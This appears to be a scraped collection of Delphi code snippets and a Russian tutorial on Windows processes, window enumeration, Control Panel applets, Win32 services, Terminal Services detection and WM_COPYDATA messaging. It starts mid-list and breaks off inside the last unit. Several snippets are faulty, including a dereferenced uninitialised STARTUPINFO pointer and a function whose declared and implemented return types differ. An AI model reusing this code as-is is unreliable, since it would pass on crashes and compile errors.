* SERVICE_START_PENDING
* SERVICE_STOP_PENDING
* SERVICE_CONTINUE_PENDING
* SERVICE_PAUSE_PENDING
Всё что, что Вам нужно, это unit WinSvc!
procedure HzChe;
var
hProcess: array[0..1] of Cardinal;
struc1: PSTARTUPINFO;
struc2: PROCESS_INFORMATION;
begin
if not CreateProcess(PChar('c:\PSTOLD.EXE'),
nil,
nil,
nil,
False,
NORMAL_PRIORITY_CLASS,
nil,
nil,
struc1^,
struc2) then
ShowMessage('Zhopa kakaya-to');
hProcess[0] := struc2.hProcess;
if not CreateProcess(PChar('c:\PSTOLD1.EXE'),
nil,
nil,
nil,
False,
NORMAL_PRIORITY_CLASS,
nil,
nil,
struc1^,
struc2) then
ShowMessage('Zhopa kakaya-to');
hProcess[1] := struc2.hProcess;
if WaitForMultipleObjects(2, @hProcess, True, INFINITE) = 1 then
ShowMessage(' vce, priehali');
end;
P.S. То, что я понаписал нельзя считать цивильным кодом...просто демонстрация работы функции WaitForMultipleObjects
( код позорный...просто жуть...)
Есть handle запущенного PE файла. Как определить откуда он был запущен? Я так предполагаю что getmodulefilename как и
GetModuleHandle работает в рамках только своего процесса. А решить твою задачу .. можно так: Тут парочка моих любимых функций:
uses
tlhelp32;
type
TModuleArray = array of TModuleEntry32;
// Возвращает список описаний (TModuleEntry32) модулей по идентификатору процесса
function GetModulesListByProcessId(ProcessId: Cardinal): TModuleArray;
implementation
function GetModulesListByProcessId(ProcessId: Cardinal): TModuleArray;
var
hSnapshot: THandle;
lpme: TModuleEntry32;
procedure AddModuleToList;
begin
SetLength(Result, High(Result) + 2);
Result[high(Result)] := lpme;
end;
begin
SetLength(Result, 0);
hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessId);
if hSnapshot = -1 then
RaiseLastWin32Error;
lpme.dwSize := SizeOf(lpme);
if Module32First(hSnapshot, lpme) then
begin
AddModuleToList;
while Module32Next(hSnapshot, lpme) do
AddModuleToList;
end;
end;
Исходный код
var
Wnd: hWnd;
buff: array[0..127] of Char;
//------------------------------------
Pid: Cardinal;
modarr: TModuleArray;
Name: string;
//------------------------------------
begin
StringGrid1.RowCount := 1;
Wnd := GetWindow(Handle, gw_HWndFirst);
while Wnd <> 0 do
begin
if (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) then
begin
fillchar(name, sizeof(name), #0);
GetWindowText(wnd, buff, sizeof(buff));
// if getmodulefilename(GetWindowLong(wnd,GWL_HINSTANCE),name,sizeof(name))=0
// then name:='Null';
//-----------------------------------------
GetWindowThreadProcessId(Wnd, @Pid);
modarr := GetModulesListByProcessId(Pid);
name := 'Null';
for i := 0 to High(modarr) do
begin
if Integer(modarr[i].modBaseAddr) = $400000 then
begin
name := modarr[i].szExePath;
break;
end;
end;
//-----------------------------------------
StringGrid1.Cells[0, StringGrid1.RowCount - 1] := StrPas(buff);
StringGrid1.Cells[1, StringGrid1.RowCount - 1] := StrPas(name);
StringGrid1.RowCount := StringGrid1.RowCount + 1;
end;
Wnd := GetWindow(Wnd, gw_hWndNext);
end;
StringGrid1.RowCount := StringGrid1.RowCount - 1;
end;
const
ppIdle : Integer = -1;
ppNormal : Integer = 0;
ppHigh : Integer = 1;
ppRealTime : Integer = 2;
function SetProcessPriority( Priority : Integer ) : Integer;
var
H : THandle;
begin
Result := ppNormal;
H := GetCurrentProcess();
if ( Priority = ppIdle ) then
SetPriorityClass( H, IDLE_PRIORITY_CLASS )
else
if ( Priority = ppNormal ) then
SetPriorityClass( H, NORMAL_PRIORITY_CLASS )
else
if ( Priority = ppHigh ) then
SetPriorityClass( H, HIGH_PRIORITY_CLASS )
else
if ( Priority = ppRealTime ) then
SetPriorityClass( H, REALTIME_PRIORITY_CLASS );
case GetPriorityClass( H ) of
IDLE_PRIORITY_CLASS : Result := ppIdle;
NORMAL_PRIORITY_CLASS : Result := ppNormal;
HIGH_PRIORITY_CLASS : Result := ppHigh;
REALTIME_PRIORITY_CLASS : Result := ppRealTime;
end;
end;
function GetProcessPriority : Integer;
var
H : THandle;
begin
Result := ppNormal;
H := GetCurrentProcess();
case GetPriorityClass( H ) of
IDLE_PRIORITY_CLASS : Result := ppIdle;
NORMAL_PRIORITY_CLASS : Result := ppNormal;
HIGH_PRIORITY_CLASS : Result := ppHigh;
REALTIME_PRIORITY_CLASS : Result := ppRealTime;
end;
end;
Как использовать:
function SetProcessPriority( Priority : Integer ) : Integer;
для установки приоритета Вашего приложения, либо:
function GetProcessPriority : Integer;
для получения приоритета.
Поставь на форму список TListbox и кнопку TButton, по нажатию на кнопке напиши такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
Wnd: hWnd;
buff: array[0..127] of Char;
begin
ListBox1.Clear;
Wnd := GetWindow(Handle, gw_HWndFirst);
while Wnd <> 0 do begin {Не показываем:}
if (Wnd <> Application.Handle) and {-Собственное окно}
IsWindowVisible(Wnd) and {-Невидимые окна}
(GetWindow(Wnd, gw_Owner) = 0) and {-Дочернии окна}
(GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
then begin
GetWindowText(Wnd, buff, sizeof(buff));
ListBox1.Items.Add(StrPas(buff));
end;
Wnd := GetWindow(Wnd, gw_hWndNext);
end;
ListBox1.ItemIndex := 0;
end;
Под Windows 95 это возможно с использованием вспомогательных инфоpмационных функций (tool help functions). Для получения
списка пpоцессов надо делать следующее:
// Получение снимка состояния системы
hSnapshot := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0);
// Получене инфоpмации о пеpвом пpоцессе в списке
Process32First();
// Получение инфоpмации о следующем пpоцессе в списке
Далее в цикле Process32Next();
unit KernlUtl;
interface
uses
TlHelp32, Windows, Classes, Sysutils;
procedure GetProcessList(List: TStrings);
procedure GetModuleList(List: TStrings);
function GetProcessHandle(ProcessID: DWORD): THandle;
procedure GetParentProcessInfo(var ID: DWORD; var Path: string);
const
PROCESS_TERMINATE = $0001;
PROCESS_CREATE_THREAD = $0002;
PROCESS_VM_OPERATION = $0008;
PROCESS_VM_READ = $0010;
PROCESS_VM_WRITE = $0020;
PROCESS_DUP_HANDLE = $0040;
PROCESS_CREATE_PROCESS = $0080;
PROCESS_SET_QUOTA = $0100;
PROCESS_SET_INFORMATION = $0200;
PROCESS_QUERY_INFORMATION = $0400;
PROCESS_ALL_ACCESS =
STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or $0FFF;
implementation
procedure GetProcessList(List: TStrings);
var
I: Integer;
hSnapshoot: THandle;
pe32: TProcessEntry32;
begin
List.Clear;
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshoot = -1) then
Exit;
pe32.dwSize := SizeOf(TProcessEntry32);
if (Process32First(hSnapshoot, pe32)) then
repeat
I := List.Add(Format('%x, %x: %s',
[pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile]));
List.Objects[I] := Pointer(pe32.th32ProcessID);
until
not Process32Next(hSnapshoot, pe32);
CloseHandle (hSnapshoot);
end;
procedure GetModuleList(List: TStrings);
var
I: Integer;
hSnapshoot: THandle;
me32: TModuleEntry32;
begin
List.Clear;
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
if (hSnapshoot = -1) then
Exit;
me32.dwSize := SizeOf(TModuleEntry32);
if (Module32First(hSnapshoot, me32)) then
repeat
I := List.Add(me32.szModule);
List.Objects[I] := Pointer(me32.th32ModuleID);
until
not Module32Next(hSnapshoot, me32);
CloseHandle (hSnapshoot);
end;
procedure GetParentProcessInfo(var ID: DWORD; var Path: string);
var
ProcessID: DWORD;
hSnapshoot: THandle;
pe32: TProcessEntry32;
begin
ProcessID := GetCurrentProcessID;
ID := -1;
Path := '';
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshoot = -1) then
Exit;
pe32.dwSize := SizeOf(TProcessEntry32);
if (Process32First(hSnapshoot, pe32)) then
repeat
if pe32.th32ProcessID = ProcessID then
begin
ID := pe32.th32ParentProcessID;
Break;
end;
until
not Process32Next(hSnapshoot, pe32);
if ID <> -1 then
begin
if (Process32First(hSnapshoot, pe32)) then
repeat
if pe32.th32ProcessID = ID then
begin
Path := pe32.szExeFile;
Break;
end;
until
not Process32Next(hSnapshoot, pe32);
end;
CloseHandle (hSnapshoot);
end;
function GetProcessHandle(ProcessID: DWORD): THandle;
begin
Result := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
end;
end.
Для использования апплета измените его расширение с "dll" на "cpl" и поместите в системную директорию.
library Project1; {Измените "program" на "library"}
uses
Cpl, {используем модуль Cpl}
Windows,
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
procedure ExecuteApp;
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
{Сallback-функция для экспорта в Панель Управления}
function CPlApplet(hwndCPl: THandle; uMsg: DWORD;
lParam1, lParam2: LongInt): LongInt; stdcall;
var
NewCplInfo: PNewCplInfo;
begin
Result := 0;
case uMsg of
{Инициализация должна возвращать True.}
CPL_INIT:
Result := 1;
{Число апплетов}
CPL_GETCOUNT:
Result := 1;
{Помещаем информацию об этом апплете в Панель управления.}
CPL_NEWINQUIRE:
begin
NewCplInfo := PNewCplInfo(lParam2);
with NewCplInfo^ do
begin
dwSize := SizeOf(TNewCplInfo);
dwFlags := 0;
dwHelpContext := 0;
lData := 0;
{Иконка для отображения на Панели Управления.}
hIcon := LoadIcon(HInstance, 'MAINICON');
{Имя апплета}
szName := 'Project1';
{Описание этого апплета.}
szInfo := 'Это тестовый апплет.';
szHelpFile := '';
end;
end;
{Выполнение апплета.}
CPL_DBLCLK:
ExecuteApp;
else
Result := 0;
end;
end;
{Экспортирование функции CplApplet}
exports
CPlApplet;
begin
end.
Для этого существует функция GetModuleFileName, которая возвращает имя файла текущего процесса.
function GetModName: string;
var
fName: string;
nsize: cardinal;
begin
nsize := 128;
SetLength(fName, nsize);
SetLength(fName,
GetModuleFileName(
hinstance,
pchar(fName),
nsize));
Result := fName;
end;
function IsRunning(sName: string): boolean;
var
han: THandle;
ProcStruct: PROCESSENTRY32; // from "tlhelp32" in uses clause
sID: string;
begin
Result := false;
// Get a snapshot of the system
han := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if han = 0 then
exit;
// Loop thru the processes until we find it or hit the end
ProcStruct.dwSize := sizeof(PROCESSENTRY32);
if Process32First(han, ProcStruct) then
begin
repeat
sID := ExtractFileName(ProcStruct.szExeFile);
// Check only against the portion of the name supplied, ignoring case
if uppercase(copy(sId, 1, length(sName))) = uppercase(sName) then
begin
// Report we found it
Result := true;
Break;
end;
until not Process32Next(han, ProcStruct);
end;
// clean-up
CloseHandle(han);
end;
Причиной написания этой статьи, как не странно, стала необходимость написания своего сервиса. Но в Borland'е решили немного
"порадовать" нас, пользователей Delphi 6 Personal, не добавив возможности создания сервисов (в остальных версиях
Delphi 5 и 6 эта возможность имеется в виде класса TService). Решив, что еще не все потеряно, взял на проверку
компоненты из одноименного раздела этого сайта. Первый оказался с многочисленными багами, а до пробы второго я не
дошел, взглянув на исходник - модуль Forms в Uses это не только окошки, но и более 300 килобайт "веса" программы.
Бессмысленного увеличения размера не хотелось и пришлось творить свое.
Так как сервис из воздуха не сотворишь, то мой исходник и эта статья очень сильно опираются на MSDN.
Итак, приступим к написанию своего сервиса
Обычный Win32-сервис это обычная программа. Программу рекомендуется сделать консольной
(DELPHI MENU | Project | Options.. | Linker [X]Generate Console Application) и крайне рекомендуется сделать
ее без форм !!! и удалить модуль Forms из Uses. Рекомендуется потому, что, во-первых, это окошко показывать не
стоит потому, что оно позволит любому юзеру, прибив ваше окошко прибить и сервис и, во-вторых, конечно же, размер
файла (19Kb против 350 ). Поэтому удаляем форму (DELPHI MENU | Project | Remove from project... ). Удалив все формы,
перейдем на главный модуль проекта, в котором удаляем текст между begin и end и Forms из Uses и добавляем Windows и
WinSvc. В результате должно получиться что-то вроде этого
program Project1;
uses
Windows, WinSvc;
{$R *.res}
begin
end.
На этом подготовительный этап закончен - начинаем писАть сервис.
Главная часть программы
Как уже отмечалось - сервис это обычная программа. Программа в Pascal'е находится между begin и end.
После запуска нашего сервиса (здесь и далее под запуском сервиса понимается именно запуск его из Менеджера
сервисов, а не просто запуск exe'шника сервиса) менеджер сервисов ждет пока наш сервис вызовет функцию
StartServiceCtrlDispatcher.Ждать он будет недолго - если в нашем exe'шнике несколько сервисов то секунд 30,
если один - около секунды, поэтому помещаем вызов StartServiceCtrlDispatcher поближе к begin.
StartServiceCtrlDispatcher качестве аргумента требует _SERVICE_TABLE_ENTRYA, поэтому добавляем в var
DispatchTable : array [0..кол-во сервисов] of _SERVICE_TABLE_ENTRYA; и заполняем этот массив (естественно
перед вызовом StartServiceCtrlDispatcher).
Т.к. в нашем ехешнике будет 1 сервис, то заполняем его так :
DispatchTable[0].lpServiceName := ServiceName;
DispatchTable[0].lpServiceProc := @ServiceProc;
DispatchTable[1].lpServiceName := nil;
DispatchTable[1].lpServiceProc := nil;
Советую завести константы ServiceName - имя сервиса и ServiceDisplayName - отображаемое имя.
ServiceProc - основная функция сервиса(о ней ниже), а в функцию мы передаем ее адрес.
В DispatchTable[кол-во сервисов] все равно nil - это показывает функции, что предыдущее поле было последним. У меня получилось так :
begin
DispatchTable[0].lpServiceName := ServiceName;
DispatchTable[0].lpServiceProc := @ServiceProc;
DispatchTable[1].lpServiceName := nil;
DispatchTable[1].lpServiceProc := nil;
if not StartServiceCtrlDispatcher(DispatchTable[0]) then
LogError('StartServiceCtrlDispatcher Error');
end.
StartServiceCtrlDispatcher выполнится только после того, как все сервисы будут остановлены.
Функция LogError протоколирует ошибки - напишите ее сами.
Функция ServiceMain
ServiceMain - основная функция сервиса. Если в ехешнике несколько сервисов, но для каждого сервиса пишется
своя ServiceMain функция. Имя функции может быть любым! и передается в DispatchTable.lpServiceProc:=@ServiceMain
(см.предыдущущий абзац). У меня она называется ServiceProc и описывается так:
procedure ServiceProc(argc: DWORD;
var argv: array of PChar); stdcall;
argc кол-во аргументов и их массив argv передаются менеджером сервисов из настроек сервиса.
НЕ ЗАБЫВАЙТЕ STDCALL!!! Такая забывчивость - частая причина ошибки в программе.
В ServiceMain требуется выполнить подготовку к запуску сервиса и зарегистрировать обработчик сообщений
от менеджера сервисов (Handler). Опять после запуска ServiceMain и до запуска RegisterServiceCtrlHandler
должно пройти минимум времени. Если сервису надо делать что-нибудь очень долго и обязательно до вызова
RegisterServiceCtrlHandler, то надо посылать сообщение SERVICE_START_PENDING функией SetServiceStatus.
Итак, в RegisterServiceCtrlHandler передаем название нашего сервиса и адрес функции Handler'а (см.далее).
Далее выполняем подготовку к запуску и настройку сервиса. Остановимся на настройке поподробнее. Эта самая
настройка var ServiceStatus : SERVICE_STATUS; (ServiceStatusHandle : SERVICE_STATUS_HANDLE и ServiceStatus
надо сделать глобальными переменными и поместить их выше всех функций).
dwServiceType - тип сервиса
SERVICE_WIN32_OWN_PROCESS
Одиночный сервис
SERVICE_WIN32_SHARE_PROCESS
Несколько сервисов в одном процессе
SERVICE_INTERACTIVE_PROCESS
интерактивный сервис (может взаимодействовать с пользователем).
Остальные константы - о драйверах. Если надо - смотрите их в MSDN.
dwControlsAccepted - принимаемые сообщения (какие сообщения мы будем обрабатывать)
* SERVICE_ACCEPT_PAUSE_CONTINUE приостановка/перезапуск
* SERVICE_ACCEPT_STOP остановка сервиса
* SERVICE_ACCEPT_SHUTDOWN перезагрузка компьютера
* SERVICE_ACCEPT_PARAMCHANGE изменение параметров сервиса без перезапуска (Win2000 и выше)
Остальные сообщения смотрите опять же в MSDN (куда уж без него ;-)
* dwWin32ExitCode и dwServiceSpecificExitCode - коды ошибок сервиса. Если все идет нормально, то они должны
быть равны нулю, иначе коду ошибки.
* dwCheckPoint - если сервис выполняет какое-нибудь долгое действие при остановке, запуске и т.д. то
dwCheckPoint является индикатором прогресса (увеличивайте его, чтобы дать понять, что сервис не завис),
иначе он должен быть равен нулю.
* dwWaitHint - время, через которое сервис должен послать свой новый статус менеджеру сервисов при
выполнении действия (запуска, остановки и т.д.). Если dwCurrentState и dwCheckPoint через это кол-во миллисекунд
не изменится, то менеджер сервисов решит, что произошла ошибка.
* dwCurrentState - см. где-то здесь Ставим его в SERVICE_RUNNING, если сервис запущен
После заполнения этой структуры посылаем наш новый статус функцией SetServiceStatus и мы работаем :).
После этого пишем код самого сервиса. Я вернусь к этому попозже.
Вот так выглядит моя ServiceMain :
procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
Status: DWORD;
SpecificError: DWORD;
begin
ServiceStatus.dwServiceType := SERVICE_WIN32;
ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP
or SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwWin32ExitCode := 0;
ServiceStatus.dwServiceSpecificExitCode := 0;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
ServiceStatusHandle :=
RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
if ServiceStatusHandle = 0 then
WriteLn('RegisterServiceCtrlHandler Error');
Status := ServiceInitialization(argc, argv, SpecificError);
if Status <> NO_ERROR then
begin
ServiceStatus.dwCurrentState := SERVICE_STOPPED;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
ServiceStatus.dwWin32ExitCode := Status;
ServiceStatus.dwServiceSpecificExitCode := SpecificError;
SetServiceStatus(ServiceStatusHandle, ServiceStatus);
LogError('ServiceInitialization');
exit;
end;
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
begin
Status := GetLastError;
LogError('SetServiceStatus');
exit;
end;
// WORK HERE
// ЗДЕСЬ БУДЕТ ОСНОВНОЙ КОД ПРОГРАММЫ
end;
Функция Handler
Функция Handler будет вызываться менеджером сервисов при передаче сообщений сервису. Опять же название
функции - любое. Адрес функции передается с помощью функции RegisterServiceCtrlHandler (см. выше). Функция
имеет один параметр типа DWORD (Cardinal) - сообщение сервису. Если в одном процессе несколько сервисов -
для каждого из них должна быть своя функция. procedure ServiceCtrlHandler(Opcode : Cardinal);stdcall; Опять
не забываем про stdcall.
Итак, функция получает код сообщения, который мы и проверяем. Начинаем вспоминать, что мы писали в
ServiceStatus.dwControlsAccepted. У меня это SERVICE_ACCEPT_STOP и SERVICE_ACCEPT_PAUSE_CONTINUE, значит,
мне надо проверять сообщения SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_STOP и выполнять
соответствующие действия. Остальные сообщения:
ServiceStatus.dwControlsAccepted Обрабатываемые сообщения
* SERVICE_ACCEPT_PAUSE_CONTINUE SERVICE_CONTROL_PAUSE и SERVICE_CONTROL_CONTINUE
* SERVICE_ACCEPT_STOP SERVICE_CONTROL_STOP
* SERVICE_ACCEPT_SHUTDOWN SERVICE_CONTROL_SHUTDOWN
* SERVICE_ACCEPT_PARAMCHANGE SERVICE_CONTROL_PARAMCHANGE
Также надо обрабатывать SERVICE_CONTROL_INTERROGATE. Что это такое - непонятно, но обрабатывать надо :)
Передаем новый статус сервиса менеджеру сервисов функцией SetServiceStatus.
Пример функции Handler:
procedure ServiceCtrlHandler(Opcode: Cardinal); stdcall;
var
Status: Cardinal;
begin
case Opcode of
SERVICE_CONTROL_PAUSE:
begin
ServiceStatus.dwCurrentState := SERVICE_PAUSED;
end;
SERVICE_CONTROL_CONTINUE:
begin
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
end;
SERVICE_CONTROL_STOP:
begin
ServiceStatus.dwWin32ExitCode := 0;
ServiceStatus.dwCurrentState := SERVICE_STOPPED;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
begin
Status := GetLastError;
LogError('SetServiceStatus');
Exit;
end;
exit;
end;
SERVICE_CONTROL_INTERROGATE: ;
end;
if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
begin
Status := GetLastError;
LogError('SetServiceStatus');
Exit;
end;
end;
Реализация главной функции программы
В функции ServiceMain (см.там, где отмечено) пишем код сервиса. Так как сервис обычно постоянно находится в
памяти компьютера, то скорее всего код будет находиться в цикле. Например в таком:
repeat
// Что-нибудь делаем пока сервис не завершится.
until ServiceStatus.dwCurrentState = SERVICE_STOPPED;
// Но это пройдет если сервис не обрабатывает сообщения приостановки/перезапуска,
// иначе сервис никак не прореагирует. Другой вариант :
repeat
if ServiceStatus.dwCurrentState <> SERVICE_PAUSED then
// чего - то делаем
until ServiceStatus.dwCurrentState = SERVICE_STOPPED;
И третий, имхо, самый правильный вариант = использование потока:
Пишем функцию
function MainServiceThread(p: Pointer): DWORD; stdcall;
begin
// что - то делаем
end;
и в ServiceMain создаем поток
var
ThID: Cardinal;
hThread := CreateThread(nil, 0, @MainServiceThread, nil, 0, ThID);
// и ждем его завершения
WaitForSingleObject(hThread, INFINITE);
// закрывая после этого его дескриптор
CloseHandle(hThread);
// При этом hThread делаем глобальной переменной.
// Теперь при приостановке сервиса(в Handler)
// делаем так SERVICE_CONTROL_PAUSE:
begin
ServiceStatus.dwCurrentState := SERVICE_PAUSED;
SuspendThread(hThread); // приостанавливаем поток
end;
и при возобновлении работы сервиса SERVICE_CONTROL_CONTINUE:
begin
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
ResumeThread(hThread); // возобновляем поток
end;
{
Question:
Do you happen to have a sample piece of code for detecting if Terminal
Services is loaded? I found this piece of C code, but I'm having a hard
time translating things...
}
function IsRemoteSession: Boolean;
const
sm_RemoteSession = $1000; { from WinUser.h }
begin
Result := (GetSystemMetrics(sm_RemoteSession) <> 0);
end;
{
That tells you if your program is running in a terminal client session,
which is usually all you ever need to worry about.
}
{
>
> #include
> #include
>
> // This code will only work on the Windows 2000 platform
>
> BOOL IsTerminalServicesEnabled(void)
> {
> OSVERSIONINFOEX osVersionInfo;
> DWORDLONG dwlConditionMask = 0;
>
> ZeroMemory(&osVersionInfo, sizeof(OSVERSIONINFOEX));
> osVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
> osVersionInfo.wSuiteMask = VER_SUITE_TERMINAL;
>
> VER_SET_CONDITION( dwlConditionMask, VER_SUITENAME, VER_AND );
>
> return VerifyVersionInfo(
> &osVersionInfo,
> VER_SUITENAME,
> dwlConditionMask
> );
>
}
type
OSVERSIONINFOEX = packed record
dwOSVersionInfoSize: DWORD;
dwMajorVersion: DWORD;
dwMinorVersion: DWORD;
dwBuildNumber: DWORD;
dwPlatformId: DWORD;
szCSDVersion: array[0..127] of Char;
wServicePackMajor: WORD;
wServicePackMinor: WORD;
wSuiteMask: WORD;
wProductType: BYTE;
wReserved: BYTE;
end;
TOSVersionInfoEx = OSVERSIONINFOEX;
POSVersionInfoEx = ^TOSVersionInfoEx;
const
VER_SUITE_TERMINAL = $00000010;
VER_SUITENAME = $00000040;
VER_AND = 6;
function VerSetConditionMask(
ConditionMask: int64;
TypeMask: DWORD;
Condition: Byte
): int64; stdcall; external kernel32;
function VerifyVersionInfo(
var VersionInformation: OSVERSIONINFOEX;
dwTypeMask: DWORD;
dwlConditionMask: int64
): BOOL; stdcall; external kernel32 name 'VerifyVersionInfoA';
function IsTerminalServicesEnabled: Boolean;
var
osVersionInfo: OSVERSIONINFOEX;
dwlConditionMask: int64;
begin
FillChar(osVersionInfo, SizeOf(osVersionInfo), 0);
osVersionInfo.dwOSVersionInfoSize := sizeof(osVersionInfo);
osVersionInfo.wSuiteMask := VER_SUITE_TERMINAL;
dwlConditionMask := 0;
dwlConditionMask :=
VerSetConditionMask(dwlConditionMask,
VER_SUITENAME,
VER_AND);
Result := VerifyVersionInfo(
osVersionInfo,
VER_SUITENAME,
dwlConditionMask);
end;
{
But heed the warning in the C sample: the functions used here are not
available on Win 9x and NT 4! If you use external declarations as above
your program would not even load on such a platform.
}
Нужно отсортировать выполнение процессов в системе, т.е. поочередно выполнить несколько процессов, тем самым
автоматизировать некоторый " трудовой процесс" ? Этот код предоставляет такую возможность. Вы создаете " кадр"
существующих в системе процессов, находите в нем нужный вам процесс по его ID и обрабатываете его сообщение.
unit PIDProcessing;
interface
function PIDExists(PID:Integer):boolean;
function RunProgram(ExeProgram:String):integer;
implementation
uses TLHelp32, Windows;
function PIDExists(PID:Integer):boolean;
{возвращает true, если процесс найден}
var hSnap:Cardinal;
// Snapshot (" кадр" ) запущенных процессов в системе
ProcessEntry:TProcessEntry32;
// информация о процессе
Finding:LongBool;
// возвращает true,
если первый процесс скопирован в буфер,
иначе false
Found:Boolean;
// возвращает true,
если в системе есть запущенные процессы
begin
hSnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);
{создаем " кадр" запущенных процессов}
if hSnap=0 then
begin
Result:=False;
Exit;
end;
Found:=False;
ProcessEntry.dwSize:=SizeOf(ProcessEntry);
Finding:=Process32First(hSnap,ProcessEntry);
{предоставляет информацию
о первом процессе в " кадре" }
While Finding do
begin
if PID=ProcessEntry.th32ProcessID then Found:=True;
{если необходимый процесс найден,
возвращаем true}
Finding:=Process32Next(hSnap,ProcessEntry);
{предоставляет информацию
о следующем процессе в " кадре" }
end;
CloseHandle(hSnap);
Result:=Found;
end;
function RunProgram(EXEProgram:String):Boolean;
{Возвращает true,
если процесс системы выполнен}
var si:TStartupInfo;
{определение свойств главного окна,
создаваемого приложения}
pi:TProcessInformation;
{информация о созданном процессе
и его главном потоке}
begin
FillMemory(@si,sizeof(si),0);
si.cb:=Sizeof(si);
Result:=False;
if EXEProgram< > '' then
if CreateProcess(nil,PChar(EXEProgram),
nil,nil,false,
NORMAL_PRIORITY_CLASS,nil,nil,si,pi) then
{создаем процесс}
begin
{до тех пор пока процесс существует в " кадре"
обрабатываем его сообщение}
While PIDExists(pi.dwProcessId)
do Application.ProcessMessages;
CloseHandle(pi.hProcess);
{закрываем процесс}
CloseHandle(pi.hThread);
{останавливаем поток,
порожденный процессом}
Result:=True;
end;
end;
end.
{
The WM_COPYDATA messages makes it possible to transfer information
between processes. It does this by passing the data through the kernel.
Space is allocated in the receiving process to hold the information that is copied,
by the kernel, from the source process to the target process.
The sender passes a pointer to a COPYDATASTRUCT, which is defined as a structure
of the following:
}
type
TCopyDataStruct = packed record
dwData: DWORD; // anwendungsspezifischer Wert
cbData: DWORD; // Byte-Lдnge der zu ьbertragenden Daten
lpData: Pointer; // Adresse der Daten
end;
{ Sender Application }
unit SenderApp;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Button2: TButton;
Image1: TImage;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
procedure SendCopyData(hTargetWnd: HWND; ACopyDataStruct:TCopyDataStruct);
public
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
// Sender: Send data
procedure TForm1.SendCopyData(hTargetWnd: HWND; ACopyDataStruct:TCopyDataStruct);
begin
if hTargetWnd <> 0 then
SendMessage(hTargetWnd, WM_COPYDATA, Longint(Handle), Longint(@ACopyDataStruct))
else
ShowMessage('No Recipient found!');
end;
// Send Text from Edit1 to other app
procedure TForm1.Button1Click(Sender: TObject);
var
MyCopyDataStruct: TCopyDataStruct;
hTargetWnd: HWND;
begin
// Set up a COPYDATASTRUCT structure for use with WM_COPYDATA
// TCopyDataStruct mit den Sende-Daten Infos ausfьllen
with MyCopyDataStruct do
begin
dwData := 0; // may use a value do identify content of message
cbData := StrLen(PChar(Edit1.Text)) + 1; //Need to transfer terminating #0 as well
lpData := PChar(Edit1.Text)
end;
// Find the destination window for the WM_COPYDATA message
// Empfдnger Fenster anhand des Titelzeilentextes suchen
hTargetWnd := FindWindow(nil,PChar('Message Receiver'));
// send the structure to the receiver
// Die Struktur an den Empfдnger schicken
SendCopyData(hTargetWnd, MyCopyDataStruct);
end;
// Send Image1 to other app
procedure TForm1.Button2Click(Sender: TObject);
var
ms: TMemoryStream;
MyCopyDataStruct: TCopyDataStruct;
hTargetWnd: HWND;
begin
ms := TMemoryStream.Create;
try
image1.Picture.Bitmap.SaveToStream(ms);
with MyCopyDataStruct do
begin
dwData := 1;
cbData := ms.Size;
lpData := ms.Memory;
end;
// Search window by the window title
// Empfдnger Fenster anhand des Titelzeilentextes suchen
hTargetWnd := FindWindow(nil,PChar('Message Receiver'));
// Send the Data
// Daten Senden
SendCopyData(hTargetWnd,MyCopyDataStruct);
finally
ms.Free;
end;
end;
end.
{*********************************************************************}
{ Receiver Application }
unit ReceiverApp;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Image1: TImage;
Label1: TLabel;
private
procedure WMCopyData(var Msg: TWMCopyData); message WM_COPYDATA;
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WMCopyData(var Msg: TWMCopyData);
var
sText: array[0..99] of Char;
ms: TMemoryStream;
begin
case Msg.CopyDataStruct.dwData of
0: { Receive Text, Text empfangen}
begin
StrLCopy(sText, Msg.CopyDataStruct.lpData, Msg.CopyDataStruct.cbData);
label1.Caption := sText;
end;
1: { Receive Image, Bild empfangen}
begin
ms := TMemoryStream.Create;
try
with Msg.CopyDataStruct^ do
ms.Write(lpdata^, cbdata);
ms.Position := 0;
